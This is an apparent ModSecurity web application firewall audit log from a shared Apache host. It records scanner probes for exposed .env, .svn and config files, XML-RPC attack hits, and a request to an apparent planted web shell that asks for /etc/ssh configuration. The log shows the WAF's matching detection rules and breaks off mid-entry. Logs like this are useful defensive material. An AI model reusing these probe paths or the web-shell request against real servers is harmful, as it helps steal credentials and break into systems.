--563cbb56-B-- GET /:5000/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --563cbb56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=acc5cdcfa57fd74ee232a5733f1ecda21750034409; expires=Mon, 16 Jun 2025 01:40:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --563cbb56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.copy"] [unique_id "aE9n6KpdvXW4_hknQUU2mQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034408654451 671242 (- - -) Stopwatch2: 1750034408654451 671242; combined=1964, p1=420, p2=1448, p3=0, p4=0, p5=95, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --563cbb56-Z-- --025a0033-A-- [16/Jun/2025:06:10:11.598579 +0530] aE9n6qpdvXW4_hknQUU2mgAAAAo 185.177.72.210 50866 127.0.0.1 7081 --025a0033-B-- GET /export_presets.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --025a0033-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b1cf9fb56438186aa5ecc7bf861bcd21750034411; expires=Mon, 16 Jun 2025 01:40:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --025a0033-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/export_presets.cfg"] [unique_id "aE9n6qpdvXW4_hknQUU2mgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034410947098 651558 (- - -) Stopwatch2: 1750034410947098 651558; combined=1982, p1=393, p2=1491, p3=0, p4=0, p5=98, sr=126, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --025a0033-Z-- --d3d69053-A-- [16/Jun/2025:06:10:14.604513 +0530] aE9n7VXriBOgqnJNgkwiKwAAAAA 185.177.72.210 50978 127.0.0.1 7081 --d3d69053-B-- GET /connect.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3d69053-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=27138acfbc91c98e10e0b713adb11a471750034414; expires=Mon, 16 Jun 2025 01:40:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3d69053-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/connect.inc"] [unique_id "aE9n7VXriBOgqnJNgkwiKwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034413944101 660496 (- - -) Stopwatch2: 1750034413944101 660496; combined=2236, p1=423, p2=1667, p3=0, p4=0, p5=145, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3d69053-Z-- --0668ac40-A-- [16/Jun/2025:06:10:18.943795 +0530] aE9n8dVsbyFDndheOrk2aQAAAAE 128.199.112.101 51380 127.0.0.1 7081 --0668ac40-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0668ac40-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0668ac40-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9n8dVsbyFDndheOrk2aQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034417943866 999984 (- - -) Stopwatch2: 1750034417943866 999984; combined=2386, p1=375, p2=1637, p3=41, p4=60, p5=170, sr=100, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0668ac40-Z-- --14c9502c-A-- [16/Jun/2025:06:10:21.360726 +0530] aE9n9C2Tu2VxEl4lA7DepgAAAAw 185.177.72.210 52392 127.0.0.1 7081 --14c9502c-B-- GET /.env.保存.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14c9502c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42dcfa059135a339e196bd3bc791a6f91750034421; expires=Mon, 16 Jun 2025 01:40:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14c9502c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe4\\\\xbf\\\\x9d\\\\xe5\\\\xad\\\\x98.1"] [unique_id "aE9n9C2Tu2VxEl4lA7DepgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034420705848 654967 (- - -) Stopwatch2: 1750034420705848 654967; combined=2100, p1=408, p2=1588, p3=0, p4=0, p5=103, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14c9502c-Z-- --517b0a7e-A-- [16/Jun/2025:06:10:25.544867 +0530] aE9n-NNEcm-DhAkC0ibdrAAAAAY 185.177.72.210 52554 127.0.0.1 7081 --517b0a7e-B-- GET /config/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --517b0a7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fabb10f5903353dcf8d4cc93b741cb81750034425; expires=Mon, 16 Jun 2025 01:40:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --517b0a7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.local"] [unique_id "aE9n-NNEcm-DhAkC0ibdrAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034424866984 677949 (- - -) Stopwatch2: 1750034424866984 677949; combined=1952, p1=392, p2=1458, p3=0, p4=0, p5=101, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --517b0a7e-Z-- --c3ed2e4c-A-- [16/Jun/2025:06:10:33.000184 +0530] aE9oANNEcm-DhAkC0ibdsAAAAAY 185.177.72.210 33286 127.0.0.1 7081 --c3ed2e4c-B-- GET /tests/default_settings/v11.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c3ed2e4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a6af7f0c78ecf55ae9b62d8dd3fd44d81750034432; expires=Mon, 16 Jun 2025 01:40:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c3ed2e4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v11.0/.env"] [unique_id "aE9oANNEcm-DhAkC0ibdsAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034432308562 691684 (- - -) Stopwatch2: 1750034432308562 691684; combined=2024, p1=461, p2=1464, p3=0, p4=0, p5=98, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3ed2e4c-Z-- --6d67a86e-A-- [16/Jun/2025:06:10:34.995731 +0530] aE9oAtNEcm-DhAkC0ibdsQAAAAY 185.177.72.210 33396 127.0.0.1 7081 --6d67a86e-B-- GET /.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d67a86e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb281b8e8d586ca54079df54ffeea6d21750034434; expires=Mon, 16 Jun 2025 01:40:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d67a86e-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/"] [unique_id "aE9oAtNEcm-DhAkC0ibdsQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034434311579 684217 (- - -) Stopwatch2: 1750034434311579 684217; combined=1785, p1=470, p2=1227, p3=0, p4=0, p5=87, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d67a86e-Z-- --5b579e07-A-- [16/Jun/2025:06:10:43.346318 +0530] aE9oCtNEcm-DhAkC0ibdtQAAAAY 185.177.72.210 43822 127.0.0.1 7081 --5b579e07-B-- GET /:8880/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b579e07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3708b1364e792f3ed74776fc1eeaef7d1750034443; expires=Mon, 16 Jun 2025 01:40:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b579e07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/www/.env"] [unique_id "aE9oCtNEcm-DhAkC0ibdtQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034442681899 664481 (- - -) Stopwatch2: 1750034442681899 664481; combined=1934, p1=371, p2=1469, p3=0, p4=0, p5=93, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b579e07-Z-- --7c4fb160-A-- [16/Jun/2025:06:10:45.517656 +0530] aE9oDJ_Rv4EBtUyS5c4G_QAAAAU 185.177.72.210 43944 127.0.0.1 7081 --7c4fb160-B-- GET /:5601/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c4fb160-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d34b9e491a07b793f6d7494a597d7f0d1750034445; expires=Mon, 16 Jun 2025 01:40:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c4fb160-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/django_project_path/.env"] [unique_id "aE9oDJ_Rv4EBtUyS5c4G_QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034444826692 691028 (- - -) Stopwatch2: 1750034444826692 691028; combined=1875, p1=357, p2=1422, p3=0, p4=0, p5=95, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c4fb160-Z-- --8c6d6b53-A-- [16/Jun/2025:06:10:47.554625 +0530] aE9oDp_Rv4EBtUyS5c4G_gAAAAU 185.177.72.210 44034 127.0.0.1 7081 --8c6d6b53-B-- GET /ch8a-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c6d6b53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3f8df6d327f4de71df8f5682d9718651750034447; expires=Mon, 16 Jun 2025 01:40:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c6d6b53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch8a-mytodo/.env"] [unique_id "aE9oDp_Rv4EBtUyS5c4G_gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034446885129 669570 (- - -) Stopwatch2: 1750034446885129 669570; combined=2007, p1=395, p2=1507, p3=0, p4=0, p5=105, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c6d6b53-Z-- --41298b3f-A-- [16/Jun/2025:06:10:52.907413 +0530] aE9oFA9THibLN0xLxETxjQAAAAk 185.177.72.210 55638 127.0.0.1 7081 --41298b3f-B-- GET /:8880/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --41298b3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fd85b61bdfe7f0c5d0d957dbf823bf9e1750034452; expires=Mon, 16 Jun 2025 01:40:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --41298b3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.debug"] [unique_id "aE9oFA9THibLN0xLxETxjQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034452203330 704159 (- - -) Stopwatch2: 1750034452203330 704159; combined=1968, p1=358, p2=1496, p3=0, p4=0, p5=114, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --41298b3f-Z-- --5ca82a52-A-- [16/Jun/2025:06:10:55.622995 +0530] aE9oFzC9bb-fhYp4LpFSOQAAAAM 34.236.185.101 55836 127.0.0.1 7081 --5ca82a52-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/ssh/sshd_config.d HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 34.236.185.101 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --5ca82a52-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3240 Connection: close Content-Type: text/html; charset=UTF-8 --5ca82a52-H-- Message: Warning. Matched phrase "etc/ssh/sshd_config" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ssh/sshd_config found within ARGS:path: /etc/ssh/sshd_config.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/ssh/sshd_config" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ssh/sshd_config found within ARGS:path: /etc/ssh/sshd_config.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9oFzC9bb-fhYp4LpFSOQAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750034455617947 5133 (- - -) Stopwatch2: 1750034455617947 5133; combined=2729, p1=463, p2=2090, p3=51, p4=44, p5=81, sr=150, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ca82a52-Z-- --5e345430-A-- [16/Jun/2025:06:11:19.076481 +0530] aE9oLp_Rv4EBtUyS5c4HFQAAAAU 128.199.112.101 60602 127.0.0.1 7081 --5e345430-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5e345430-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5e345430-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified 